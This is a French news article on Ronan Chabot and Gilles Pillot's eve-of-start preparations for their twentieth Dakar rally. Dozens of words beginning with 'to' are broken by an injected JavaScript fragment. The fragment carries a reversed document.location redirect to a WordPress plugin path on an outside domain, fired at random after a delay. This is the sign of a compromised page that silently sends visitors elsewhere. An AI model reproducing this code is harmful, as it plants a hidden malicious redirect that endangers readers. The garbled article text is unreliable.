À la veille de débuter leur 20e Dakar, Ronan Chabot, Gilles Pillot et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute leur équipe ont peaufiné les derniers réglages et se sont projetés sur le prologue qui se déroulera demain. Bientôt, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout commence. Ils racontent.

Il a retrouvé sa place habituelle, assis sur les marches de son camion. La scène a lieu en milieu de journée, ce vendredi, alors que le soleil est au zénith. Un regard vers l’agitation dans le stand Toyota, un autre pour sa voiture, à dominante bleue et blanche. Sur les flancs, il y a les modèles de chacune de ses voitures sur les précédents Dakar. Vingt modèles, autant de Dakar et une multitude de souvenirs qui ravivent la mémoire et forcent le respect. Il n’y a pas vraiment de mots pour résumer autant d’aventures. Ronan Chabot, 55 ans, préfère toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours se focaliser sur l’avenir. Le sien va épouser une nouvelle fois les aléas du Dakar, douze jours et autant d’étapes, 8 375 km (dont 4 258 km de spéciale), avec cette volonté de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout donner et « d’accrocher le bon wagon », l’expression consacrée pour rester dans le rythme des meilleurs.

« La course démarre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours avant »

« Il y a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours un peu d’électricité dans l’air avant d’aborder un départ, confie le pilote. On doit prendre ses marques, peaufiner les derniers détails et se réjouir de se retrouver ». Il ajoute : « on sait que la course démarre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours avant le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top départ’ parce que les voitures demandent beaucoup d’attention et de soin et qu’il faut être très bien organisé pour les deux semaines qui viennent ». Avant de partir, il convient aussi de « bien clôturer l’année » pour « partir le plus à jour possible professionnellement ». « On doit opérer une bascule pour ne pas cumuler la vie normale et celle du Dakar ».

Comme à chaque fois, il y a des passages imposés. Les vérifications administratives et techniques – passées en début d’après-midi – et le temps qui file trop lentement avant de s’élancer. Déjà, chez Gilles Pillot et Ronan Chabot, c’est le prologue du lendemain qui occupe l’esprit, avec 614 km dont 19 km de spéciale. « Même s’il faut veiller à ne pas prendre trop de risques, on doit essayer de faire un bon résultat, dans le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 30’, afin d’être dans une bonne position pour s’élancer le lendemain. »

« On a seulement hâte d’y être ! »

Avant de partir, il y a certains acquis sur lesquels il est bon de se reposer. Pour le duo, l’année sportive a été particulièrement fructueuse avec des participations au rallyes du Kazakhstan, du Maroc puis à Haïl, en Arabie Saoudite mi-décembre, où ils ont pu tester leur nouvelle voiture, la T1 Plus. « Elle gagne en suspension, elle est plus large donc plus à l’aise dans les franchissements », résume Gilles Pillot. « Les T1-Plus semblent particulièrement performantes et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les pilotes qui les conduisent seront forcément aux avant-postes », analyse Luc Alphand, consultant pour France Télévision.

Ronan Chabot, lui, se veut prudent et lucide : « comme à chaque début de Dakar, on voit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes ces autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous ces pilotes de très bon niveau donc on va surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout se focaliser à prendre un bon rythme dès le départ ». Et il ajoute, sourire aux lèvres : « on a seulement hâte d’y être ! »

DANS LE RÉTRO – Vingt ans d’aventure

Tout au long de ce Dakar « anniversaire », cette 20e édition en commun, Ronan Chabot et Gilles Pillot reviendront sur les moments forts de leurs aventures. Les moments de joie, les galères, les rencontres, les sentiments d’exaltation… « À l’issue de chaque étape, je détaillerai ces moments forts qui nous ont marqués et qui resteront à jamais gravés dans nos mémoires », souligne Ronan Chabot. À l’issue de chaque étape donc, ils ouvriront avec enthousiasme leur boîte à souvenirs.